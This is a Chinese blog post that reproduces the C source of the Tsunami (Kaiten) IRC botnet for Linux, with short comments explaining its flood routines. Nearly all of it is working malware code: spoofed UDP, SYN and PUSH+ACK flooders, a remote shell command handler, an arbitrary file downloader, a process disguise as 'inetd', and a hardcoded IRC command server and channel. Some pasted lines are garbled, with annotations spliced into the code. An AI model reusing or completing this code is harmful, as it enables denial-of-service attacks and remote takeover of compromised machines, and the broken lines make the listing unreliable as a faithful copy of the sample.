基於Linux平臺下網路病毒Tsunami原始碼解析(病毒功能挺經典的)
最近在進行病毒樣本的解析,無意間看到了Tsunami病毒的原始碼,進行了一次解析,和大家共同交流
轉載請註明出處:http://blog.csdn.net/u010484477 O(∩_∩)O謝謝
/*
* !* SH uname -a *
* There are a number of commands that can be sent to the client: *
* TSUNAMI <target> <secs> = A PUSH+ACK flooder *
* PAN <target> <port> <secs> = A SYN flooder *
* UDP <target> <port> <secs> = An UDP flooder *
* UNKNOWN <target> <secs> = Another non-spoof udp flooder *
* NICK <nick> = Changes the nick of the client *
* SERVER <server> = Changes servers *
* GETSPOOFS = Gets the current spoofing *
* SPOOFS <subnet> = Changes spoofing to a subnet *
* DISABLE = Disables all packeting from this bot *
* ENABLE = Enables all packeting from this bot *
* KILL = Kills the knight *
* GET <http address> <save as> = Downloads a file off the web *
* VERSION = Requests version of knight *
* KILLALL = Kills all current packeting *
* HELP = Displays this *
* IRC <command> = Sends this command to the server *
* SH <command> = Executes a command *
* Remember, all these commands must be prefixed by a ! and the nickname that *
* you want the command to be sent to (can include wildcards). There are no *
* spaces in between the ! and the nickname, and there are no spaces before *
* the ! *
* *
* - contem on efnet *
*******************************************************************************/
////////////////////////////////////////////////////////////////////////////////
// EDIT THESE //
////////////////////////////////////////////////////////////////////////////////
#define STARTUP // Start on startup?
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "inetd" // What you want this to hide as
#define CHAN "#linksys" // Channel to join
#define KEY "routers" // The key of the channel
#define IRCPORT "6667"
int numservers=1; // Must change this to equal number of servers down there
char *servers[] = { // List the servers in that format, always end in (void*)0
"linksys.secureshellz.net",
(void*)0
};
////////////////////////////////////////////////////////////////////////////////
// STOP HERE! //
////////////////////////////////////////////////////////////////////////////////
#include <stdarg.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <strings.h>
#include <netinet/in.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <signal.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <time.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <pthread.h>
int sock,changeservers=0;
char *server, *chan, *key, *nick, *ident, *user, disabled=0, execfile[256],dispass[256];
unsigned int *pids;
unsigned long spoofs=0, spoofsm=0, numpids=0;
int strwildmatch(const char* pattern, const char* string) {
switch(*pattern) {
case '\0': return *string;
case '*': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
case '?': return !(*string && !strwildmatch(pattern+1, string+1));
default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
}
}
int Send(int sock, char *words, ...) {
static char textBuffer[1024];
va_list args;
va_start(args, words);
vsprintf(textBuffer, words, args); 見到%就開心
va_end(args);
return write(sock,textBuffer,strlen(textBuffer));
}
int mfork(char *sender) {
unsigned int parent, *newpids, i;
if (disabled == 1) {
Send(sock,"NOTICE %s :Unable to comply.\n",sender);
return 1;
}
parent=fork();
if (parent <= 0) return parent;
numpids++;
newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
newpids[numpids-1]=parent;
free(pids);
pids=newpids;
return parent;
}
unsigned long getspoof() {
if (!spoofs) return rand();
if (spoofsm == 1) return ntohl(spoofs);
return ntohl(spoofs+(rand() % spoofsm)+1);
}
void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
char *makestring() { //得到伺服器的IP,隨機
char *tmp;
int len=(rand()%5)+4,i;
FILE *file;
tmp=(char*)malloc(len+1);
memset(tmp,0,len+1);
if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++)
tmp[i]=(rand()%(91-65))+65;
else {
int a=((rand()*rand())%45402)+1;
char buf[1024];
for (i=0;i<a;i++) fgets(buf,1024,file);
memset(buf,0,1024);
fgets(buf,1024,file);
filter(buf);
memcpy(tmp,buf,len);
fclose(file);
}
return tmp;
}
void identd() {
int sockname,sockfd,sin_size,tmpsock,i;
struct sockaddr_in my_addr,their_addr;
char szBuffer[1024];
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
return;
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(113);
my_addr.sin_addr.s_addr = INADDR_ANY;
memset(&(my_addr.sin_zero), 0, 8);
if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
if (listen(sockfd, 1) == -1) return;
if (fork() == 0) return;
sin_size = sizeof(struct sockaddr_in);
if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
for(;;) {
fd_set bla;
struct timeval timee;
FD_ZERO(&bla);
FD_SET(tmpsock,&bla);
timee.tv_sec=timee.tv_usec=60;
if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
if (FD_ISSET(tmpsock,&bla)) break;
}
i = recv(tmpsock,szBuffer,1024,0);
if (i <= 0 || i >= 20) exit(0);
szBuffer[i]=0;
if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
close(tmpsock);
close(sockfd);
exit(0);
}
long pow(long a, long b) {
if (b == 0) return 1;
if (b == 1) return a;
return a*pow(a,b-1);
}
u_short in_cksum(u_short *addr, int len) {
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer =0;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
void get(int sock, char *sender, int argc, char **argv) {
int sock2,i,d;
struct sockaddr_in server;
unsigned long ipaddr;
char buf[1024];
FILE *file;
unsigned char bufm[4096];
if (mfork(sender) != 0) return;
if (argc < 2) {
Send(sock,"NOTICE %s :GET <host> <save as>\n",sender);
exit(0);
}
if ((sock2 = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
Send(sock,"NOTICE %s :Unable to create socket.\n",sender);
exit(0);
}
if (!strncmp(argv[1],"http://",7)) strcpy(buf,argv[1]+7);
else strcpy(buf,argv[1]);
for (i=0;i<strlen(buf) && buf[i] != '/';i++);
buf[i]=0;
server.sin_family = AF_INET;
server.sin_port = htons(80);
if ((ipaddr = inet_addr(buf)) == -1) {
struct hostent *hostm;
if ((hostm=gethostbyname(buf)) == NULL) {
Send(sock,"NOTICE %s :Unable to resolve address.\n",sender);
exit(0);
}
memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length);
}
else server.sin_addr.s_addr = ipaddr;
memset(&(server.sin_zero), 0, 8);
if (connect(sock2,(struct sockaddr *)&server, sizeof(server)) != 0) {
Send(sock,"NOTICE %s :Unable to connect to http.\n",sender);
exit(0);
}
Send(sock2,"GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding:
gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n",buf+i+1,buf);
Send(sock,"NOTICE %s :Receiving file.\n"
file=fopen(argv[2],"wb");
while(1) {
int i;
if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
if (i < 4096) bufm[i]=0;
for (d=0;d<i;d++) if (!strncmp(bufm+d,"\r\n\r\n",4)) {
for (d+=4;d<i;d++) fputc(bufm[d],file);
goto done;
}
}
done:
Send(sock,"NOTICE %s :Saved as %s\n",sender,argv[2]);
while(1) {
int i,d;
if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
if (i < 4096) bufm[i]=0;
for (d=0;d<i;d++) fputc(bufm[d],file);
}
fclose(file);
close(sock2);
exit(0);
}
上面的就是下載內容,寫入檔案
void getspoofs(int sock, char *sender, int argc, char **argv) {
unsigned long a=spoofs,b=spoofs+(spoofsm-1);
if (spoofsm == 1) Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0]);
else Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0],((u_char*)&b)[3],((u_char*)&b)[2],((u_char*)&b)[1],((u_char*)&b)[0]);
}
void version(int sock, char *sender, int argc, char **argv) {
Send(sock,"NOTICE %s :Kaiten wa goraku\n",sender);
}
void nickc(int sock, char *sender, int argc, char **argv) {
if (argc != 1) {
Send(sock,"NOTICE %s :NICK <nick>\n",sender);改變client的Nick,大家可以看上面Send的定義
return;
}
if (strlen(argv[1]) >= 10) {
Send(sock,"NOTICE %s :Nick cannot be larger than 9 characters.\n",sender);
return;
}
Send(sock,"NICK %s\n",argv[1]);
}
void disable(int sock, char *sender, int argc, char **argv) {
if (argc != 1) {
Send(sock,"NOTICE %s :DISABLE <pass>\n",sender);
Send(sock,"NOTICE %s :Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
return;
}
if (disabled) {
Send(sock,"NOTICE %s :Already disabled.\n",sender);
return;
}
if (strlen(argv[1]) > 254) {
Send(sock,"NOTICE %s :Password too long! > 254\n",sender);
return;
}
disabled=1;
memset(dispass,0,256);
strcpy(dispass,argv[1]);
Send(sock,"NOTICE %s :Disable sucessful.\n");
}
void enable(int sock, char *sender, int argc, char **argv) {
if (argc != 1) {
Send(sock,"NOTICE %s :ENABLE <pass>\n",sender);
Send(sock,"NOTICE %s :Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
return;
}
if (!disabled) {
Send(sock,"NOTICE %s :Already enabled.\n",sender);
return;
}
if (strcasecmp(dispass,argv[1])) {
Send(sock,"NOTICE %s :Wrong password\n",sender);
return;
}
disabled=0;
Send(sock,"NOTICE %s :Password correct.\n",sender);
}
void spoof(int sock, char *sender, int argc, char **argv) {
char ip[256];
int i, num;
unsigned long uip;
if (argc != 1) {
Send(sock,"NOTICE %s :Removed all spoofs\n",sender);
spoofs=0;
spoofsm=0;
return;
}
if (strlen(argv[1]) > 16) {
Send(sock,"NOTICE %s :What kind of subnet address is that? Do something like: 169.40\n",sender);
return;
}
strcpy(ip,argv[1]);
if (ip[strlen(ip)-1] == '.') ip[strlen(ip)-1] = 0;
for (i=0, num=1;i<strlen(ip);i++) if (ip[i] == '.') num++;
num=-(num-4); 保證num是4
for (i=0;i<num;i++) strcat(ip,".0");
uip=inet_network(ip);
if (num == 0) spoofsm=1;
else spoofsm=pow(256,num);
spoofs=uip;
}
struct iphdr {
unsigned int ihl:4, version:4;
unsigned char tos;
unsigned short tot_len;
unsigned short id;
unsigned short frag_off;
unsigned char ttl;
unsigned char protocol;
unsigned short check;
unsigned long saddr;
unsigned long daddr;
};
struct udphdr {
unsigned short source;
unsigned short dest;
unsigned short len;
unsigned short check;
};
struct tcphdr {
unsigned short source;
unsigned short dest;
unsigned long seq;
unsigned long ack_seq;
unsigned short res1:4, doff:4;
unsigned char fin:1, syn:1, rst:1, psh:1, ack:1, urg:1, ece:1, cwr:1;
unsigned short window;
unsigned short check;
unsigned short urg_ptr;
};
struct send_tcp {
struct iphdr ip;
struct tcphdr tcp;
char buf[20];
};
struct pseudo_header {
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
char buf[20];
};
unsigned int host2ip(char *sender,char *hostname) {
static struct in_addr i;
struct hostent *h;
if((i.s_addr = inet_addr(hostname)) == -1) {
if((h = gethostbyname(hostname)) == NULL) {
Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
exit(0);
}
bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
}
return i.s_addr;
}
void udp(int sock, char *sender, int argc, char **argv) {
unsigned int port,i=0;
unsigned long psize,target,secs;
struct sockaddr_in s_in;
struct iphdr *ip;
struct udphdr *udp;
char buf[1500],*str;
int get;
time_t start=time(NULL);
if (mfork(sender) != 0) return;
if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
if (argc < 3) {
Send(sock,"NOTICE %s :UDP <target> <port> <secs>\n",sender);
exit(1);
}
target = host2ip(sender,argv[1]);
port = atoi(argv[2]);
secs = atol(argv[3]);
ip=(void*)buf;
udp=(void*)(buf+sizeof(struct iphdr));
str=(void*)(buf+sizeof(struct iphdr)+sizeof(struct udphdr));
memset(str,10,1500-(sizeof(struct iphdr)+sizeof(struct udphdr)));
Send(sock,"NOTICE %s :Packeting %s.\n",sender,argv[1]);
ip->ihl = 5;
ip->version = 4;
ip->tos = 0;
ip->tot_len = 1500;
ip->frag_off = 0;
ip->protocol = 17;
ip->ttl = 64;
ip->daddr = target;
udp->len = htons(psize);
s_in.sin_family = AF_INET;
s_in.sin_addr.s_addr = target;
for (;;) {
udp->source = rand();
if (port) udp->dest = htons(port);
else udp->dest = rand();
udp->check = in_cksum((u_short *)buf,1500);
ip->saddr = getspoof();
ip->id = rand();
ip->check = in_cksum((u_short *)buf,1500);
s_in.sin_port = udp->dest;
sendto(get,buf,1500,0,(struct sockaddr *)&s_in,sizeof(s_in));
if (i >= 50) {
if (time(NULL) >= start+secs) exit(0);
i=0;
}
i++;
}
}
上面的程式碼是UDP攻擊,我們可以看到udphdr中源埠號和目的埠號都是rand隨機的。
UDP的攻擊原理就是:攻擊者想被攻擊系統埠傳送udp資料包,系統接收到udp資料包後,會確定目的埠正在等待的應用程式,發現無此程式時,會產生一個目的地址無法連線的ICMP資料包發給偽造的源地址,若UDP資料包足夠多,可導致整個系統癱瘓。
void pan(int sock, char *sender, int argc, char **argv) {
struct send_tcp send_tcp;
struct pseudo_header pseudo_header;
struct sockaddr_in sin;
unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
unsigned int psize=20, source, dest, check;
unsigned long saddr, daddr,secs;
int get;
time_t start=time(NULL);
if (mfork(sender) != 0) return;
if (argc < 3) {
Send(sock,"NOTICE %s :PAN <target> <port> <secs>\n",sender);
exit(1);
}
if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
{int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
daddr=host2ip(sender,argv[1]);
secs=atol(argv[3]);
Send(sock,"NOTICE %s :Panning %s.\n",sender,argv[1]);
send_tcp.ip.ihl = 5;
send_tcp.ip.version = 4;
send_tcp.ip.tos = 16;
send_tcp.ip.frag_off = 64;
send_tcp.ip.ttl = 64;
send_tcp.ip.protocol = 6;
send_tcp.tcp.ack_seq = 0;
send_tcp.tcp.doff = 10;
send_tcp.tcp.res1 = 0;
send_tcp.tcp.cwr = 0;
send_tcp.tcp.ece = 0;
send_tcp.tcp.urg = 0;
send_tcp.tcp.ack = 0;
send_tcp.tcp.psh = 0;
send_tcp.tcp.rst = 0;
send_tcp.tcp.fin = 0;
send_tcp.tcp.syn = 1;
send_tcp.tcp.window = 30845;
send_tcp.tcp.urg_ptr = 0;
dest=htons(atoi(argv[2]));
while(1) {
source=rand();
if (atoi(argv[2]) == 0) dest=rand();
saddr=getspoof();
send_tcp.ip.tot_len = htons(40+psize);
send_tcp.ip.id = rand();
send_tcp.ip.saddr = saddr;
send_tcp.ip.daddr = daddr;
send_tcp.ip.check = 0;
send_tcp.tcp.source = source;
send_tcp.tcp.dest = dest;
send_tcp.tcp.seq = rand();
send_tcp.tcp.check = 0;
sin.sin_family = AF_INET;
sin.sin_port = dest;
sin.sin_addr.s_addr = send_tcp.ip.daddr;
send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
check = rand();
send_tcp.buf[9]=((char*)&check)[0];
send_tcp.buf[10]=((char*)&check)[1];
send_tcp.buf[11]=((char*)&check)[2];
send_tcp.buf[12]=((char*)&check)[3];
pseudo_header.source_address = send_tcp.ip.saddr;
pseudo_header.dest_address = send_tcp.ip.daddr;
pseudo_header.placeholder = 0;
pseudo_header.protocol = IPPROTO_TCP;
pseudo_header.tcp_length = htons(20+psize);
bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
if (a >= 50) {
if (time(NULL) >= start+secs) exit(0);
a=0;
}
a++;
}
close(get);
exit(0);
}
在上面程式碼中我們能夠很明顯的看到Syn取了多種值,其實原理就是:伺服器收到連線請求syn=j,訊息放入未連線佇列,傳送請求確認包給使用者(syn=k,ack=j+1)。當伺服器未收到使用者的確認包,會重新發送請求包,直到超時為止,才將返回,並將相應的記錄從未連線佇列中刪除。Ip欺騙,客戶端在短時間內偽造了大量不存在的IP,向伺服器不斷髮送syn包,伺服器回覆確認包,等待使用者確認,由於源地址不存在,伺服器要不斷地傳送直至超時,偽造的syn包長時間佔用未連線的佇列,正常請求會被丟棄,導致目標系統執行緩慢,可引起網路堵塞或系統over。
其實我們可以通過以下現象來判別syn攻擊:伺服器大量未連線狀態、源Ip地址隨機.
上面一段程式碼的行為就可見一斑了
void tsunami(int sock, char *sender, int argc, char **argv) {
struct send_tcp send_tcp;
struct pseudo_header pseudo_header;
struct sockaddr_in sin;
unsigned int psize=1400, check,i;
unsigned long saddr, daddr,secs;
int get;
time_t start=time(NULL);
if (mfork(sender) != 0) return;
if (argc < 2) {
Send(sock,"NOTICE %s :TSUNAMI <target> <secs>\n",sender);
exit(1);
}
secs=atol(argv[2]);
if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
srand(time(NULL) ^ getpid());
memset(send_tcp.buf,rand(),psize);
daddr=host2ip(sender,argv[1]);
Send(sock,"NOTICE %s :Tsunami heading for %s.\n",sender,argv[1]);
while(1) {
saddr=getspoof();
send_tcp.ip.ihl = 5;
send_tcp.ip.version = 4;
send_tcp.ip.tos = 16;
send_tcp.ip.tot_len = htons(40+psize);
send_tcp.ip.id = rand();
send_tcp.ip.frag_off = 64;
send_tcp.ip.ttl = 64;
send_tcp.ip.protocol = 6;
send_tcp.ip.check = 0;
send_tcp.ip.saddr = saddr;
send_tcp.ip.daddr = daddr;
send_tcp.tcp.source = rand();
send_tcp.tcp.dest = rand();
send_tcp.tcp.seq = rand();
send_tcp.tcp.ack_seq = rand();
send_tcp.tcp.doff = 5;
send_tcp.tcp.res1 = 0;
send_tcp.tcp.cwr = 0;
send_tcp.tcp.ece = 0;
send_tcp.tcp.urg = 0;
send_tcp.tcp.ack = 1;
send_tcp.tcp.psh = 1;
send_tcp.tcp.rst = 0;
send_tcp.tcp.fin = 0;
send_tcp.tcp.syn = 0;
send_tcp.tcp.window = 30845;
send_tcp.tcp.check = 0;
send_tcp.tcp.urg_ptr = 0;
sin.sin_family = AF_INET;
sin.sin_port = send_tcp.tcp.dest;
sin.sin_addr.s_addr = send_tcp.ip.daddr;
send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
check = in_cksum((unsigned short *)&send_tcp, 40);
pseudo_header.source_address = send_tcp.ip.saddr;
pseudo_header.dest_address = send_tcp.ip.daddr;
pseudo_header.placeholder = 0;
pseudo_header.protocol = IPPROTO_TCP;
pseudo_header.tcp_length = htons(20+psize);
bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
if (i >= 50) {
if (time(NULL) >= start+secs) break;
i=0;
}
i++;
}
close(get);
exit(0);
}
從上面的程式碼我們可以看出進行了Ip資料包和Tcp資料包的構造併發送,這裡tcphdr中的源埠號、目的埠號、起始位元組數、期望收到的位元組數都是rand隨機的,而syn=0,
說明上面程式碼並沒有進行syn攻擊,僅僅是測試是否能夠通過防火牆。
void unknown(int sock, char *sender, int argc, char **argv) {
int flag=1,fd,i;
unsigned long secs;
char *buf=(char*)malloc(9216);
struct hostent *hp;
struct sockaddr_in in;
time_t start=time(NULL);
if (mfork(sender) != 0) return;
if (argc < 2) {
Send(sock,"NOTICE %s :UNKNOWN <target> <secs>\n",sender);
exit(1);
}
secs=atol(argv[2]);
memset((void*)&in,0,sizeof(struct sockaddr_in));
in.sin_addr.s_addr=host2ip(sender,argv[1]);
in.sin_family = AF_INET;
Send(sock,"NOTICE %s :Unknowning %s.\n",sender,argv[1]);
while(1) {
in.sin_port = rand();
if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
else {
flag=1;
ioctl(fd,FIONBIO,&flag);
sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
close(fd);
}
if (i >= 50) {
if (time(NULL) >= start+secs) break;
i=0;
}
i++;
}
close(fd);
exit(0);
}
上面的程式碼也是屬於一種UDP攻擊,可以看到sin_port埠號是rand隨機的,攻擊者傳送大量的UDP資料包
/* high pps attack */
void unknown2(int sock, char *sender, int argc, char **argv) {
int flag=1,fd,i;
unsigned long secs;
char *buf=(char*)malloc(128);
struct hostent *hp;
struct sockaddr_in in;
time_t start=time(NULL);
if (mfork(sender) != 0) return;
if (argc < 2) {
Send(sock,"NOTICE %s :UNKNOWN <target> <secs>\n",sender);
exit(1);
}
secs=atol(argv[2]);
memset((void*)&in,0,sizeof(struct sockaddr_in));
in.sin_addr.s_addr=host2ip(sender,argv[1]);
in.sin_family = AF_INET;
Send(sock,"NOTICE %s :Udp pps %s.\n",sender,argv[1]);
while(1) {
in.sin_port = rand();
if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
else {
flag=1;
ioctl(fd,FIONBIO,&flag);
sendto(fd,buf,128,0,(struct sockaddr*)&in,sizeof(in));
close(fd);
}
if (i >= 50) {
if (time(NULL) >= start+secs) break;
i=0;
}
i++;
}
close(fd);
exit(0);
}
/* only on port 53 */
void unknown3(int sock, char *sender, int argc, char **argv) {
int flag=1,fd,i;
unsigned long secs;
char *buf=(char*)malloc(9216);
struct hostent *hp;
struct sockaddr_in in;
time_t start=time(NULL);
if (mfork(sender) != 0) return;
if (argc < 2) {
Send(sock,"NOTICE %s :UNKNOWN <target> <secs>\n",sender);
exit(1);
}
secs=atol(argv[2]);
memset((void*)&in,0,sizeof(struct sockaddr_in));
in.sin_addr.s_addr=host2ip(sender,argv[1]);
in.sin_family = AF_INET;
Send(sock,"NOTICE %s :UDO53 %s.\n",sender,argv[1]);
while(1) {
in.sin_port = 53;
if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
else {
flag=1;
ioctl(fd,FIONBIO,&flag);
sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
close(fd);
}
if (i >= 50) {
if (time(NULL) >= start+secs) break;
i=0;
}
i++;
}
close(fd);
exit(0);
}
/* high pps port 53 */
void unknown4(int sock, char *sender, int argc, char **argv) {
int flag=1,fd,i;
unsigned long secs;
char *buf=(char*)malloc(56);
struct hostent *hp;
struct sockaddr_in in;
time_t start=time(NULL);
if (mfork(sender) != 0) return;
if (argc < 2) {
Send(sock,"NOTICE %s :UNKNOWN <target> <secs>\n",sender);
exit(1);
}
secs=atol(argv[2]);
memset((void*)&in,0,sizeof(struct sockaddr_in));
in.sin_addr.s_addr=host2ip(sender,argv[1]);
in.sin_family = AF_INET;
Send(sock,"NOTICE %s :UDP53:56 %s.\n",sender,argv[1]);
while(1) {
in.sin_port = 53;
if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
else {
flag=1;
ioctl(fd,FIONBIO,&flag);
sendto(fd,buf,56,0,(struct sockaddr*)&in,sizeof(in));
close(fd);
}
if (i >= 50) {
if (time(NULL) >= start+secs) break;
i=0;
}
i++;
}
close(fd);
exit(0);
}
void move(int sock, char *sender, int argc, char **argv) {
if (argc < 1) {
Send(sock,"NOTICE %s :MOVE <server>\n",sender);
exit(1);
}
server=strdup(argv[1]);
changeservers=1;
close(sock);
}
void help(int sock, char *sender, int argc, char **argv) {
exit(0);
}
void killall(int sock, char *sender, int argc, char **argv) {
unsigned long i;
for (i=0;i<numpids;i++) {
if (pids[i] != 0 && pids[i] != getpid()) {
if (sender) Send(sock,"NOTICE %s :Killing pid %d.\n",sender,pids[i]);
kill(pids[i],9);
迴圈殺,這裡pid[i]>0,訊號傳給程序識別碼為pid的程序
}
}
}
void killd(int sock, char *sender, int argc, char **argv) {
if (!disable) kill(0,9); kill通過向程序傳送指定訊號來結束程序,kill(0,9) 0代表將訊號傳給和當前程序相同程序組的所有程序,9代表強殺
else Send(sock,"NOTICE %s :Unable to comply.\n");
}
struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
{ "TSUNAMI", tsunami },
{ "PAN", pan },
{ "UDP", udp },
{ "UNKNOWN", unknown },
{ "UNKNOWN2", unknown2 },
{ "UNKNOWN3", unknown3 },
{ "UNKNOWN4", unknown4 },
{ "NICK", nickc },
{ "SERVER", move },
{ "GETSPOOFS", getspoofs },
{ "SPOOFS", spoof },
{ "DISABLE", disable },
{ "ENABLE", enable },
{ "KILL", killd },
{ "GET", get },
{ "VERSION", version },
{ "KILLALL", killall },
{ "HELP", help },
{ (char *)0, (void (*)(int,char *,int,char **))0 } };
void _PRIVMSG(int sock, char *sender, char *str) {
int i;
char *to, *message;
for (i=0;i<strlen(str) && str[i] != ' ';i++);
str[i]=0;
to=str;
message=str+i+2;
for (i=0;i<strlen(sender) && sender[i] != '!';i++);
sender[i]=0;
if (*message == '!' && !strcasecmp(to,chan)) {
char *params[12], name[1024]={0};
int num_params=0, m;
message++;
for (i=0;i<strlen(message) && message[i] != ' ';i++);
message[i]=0;
if (strwildmatch(message,nick)) return;
message+=i+1;
if (!strncmp(message,"IRC ",4)) if (disabled) Send(sock,"NOTICE %s :Unable to comply.\n",sender); else Send(sock,"%s\n",message+4);
if (!strncmp(message,"SH ",3)) {
char buf[1024];
FILE *command;
if (mfork(sender) != 0) return;
memset(buf,0,1024);
sprintf(buf,"export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%s",message+3);
command=popen(buf,"r");開啟管道+用fork產生子程序+以上面的shell執行命令開啟程序
while(!feof(command)) {
memset(buf,0,1024);
fgets(buf,1024,command);
Send(sock,"NOTICE %s :%s\n",sender,buf);
sleep(1);
}
pclose(command);
exit(0);
}
m=strlen(message);
for (i=0;i<m;i++) {
if (*message == ' ' || *message == 0) break;
name[i]=*message;
message++;
}
for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
num_params++;
if (num_params > 10) num_params=10;
params[0]=name;
params[num_params+1]="\0";
m=1;
while (*message != 0) {
message++;
if (m >= num_params) break;
for (i=0;i<strlen(message) && message[i] != ' ';i++);
params[m]=(char*)malloc(i+1);
strncpy(params[m],message,i);
params[m][i]=0;
m++;
message+=i;
}
for (m=0; flooders[m].cmd != (char *)0; m++) {
if (!strcasecmp(flooders[m].cmd,name)) {
flooders[m].func(sock,sender,num_params-1,params);
for (i=1;i<num_params;i++) free(params[i]);
return;
}
}
}
}
void _376(int sock, char *sender, char *str) {
Send(sock,"MODE %s -xi\n",nick);
Send(sock,"JOIN %s :%s\n",chan,key);
}
void _PING(int sock, char *sender, char *str) {
Send(sock,"PONG %s\n",str);
}
void _352(int sock, char *sender, char *str) {
int i,d;
char *msg=str;
struct hostent *hostm;
unsigned long m;
for (i=0,d=0;d<5;d++) {
for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
if (i == strlen(str)) return;
}
for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
msg[i]=0;
if (!strcasecmp(msg,nick) && !spoofsm) {
msg=str;
for (i=0,d=0;d<3;d++) {
for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
if (i == strlen(str)) return;
}
for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
msg[i]=0;
if ((m = inet_addr(msg)) == -1) {
if ((hostm=gethostbyname(msg)) == NULL) {
Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan);
return;
}
memcpy((char*)&m, hostm->h_addr, hostm->h_length);
}
((char*)&spoofs)[3]=((char*)&m)[0];
((char*)&spoofs)[2]=((char*)&m)[1];
((char*)&spoofs)[1]=((char*)&m)[2];
((char*)&spoofs)[0]=0;
spoofsm=256;
}
}
最後是自己喜歡的一句話:青春的歲月裡,應該幹幾件瘋狂的事,即使滿頭白髮時,想起來也會熱淚盈眶的事,然後,不留遺憾的說“我來過,與青春有關的日子”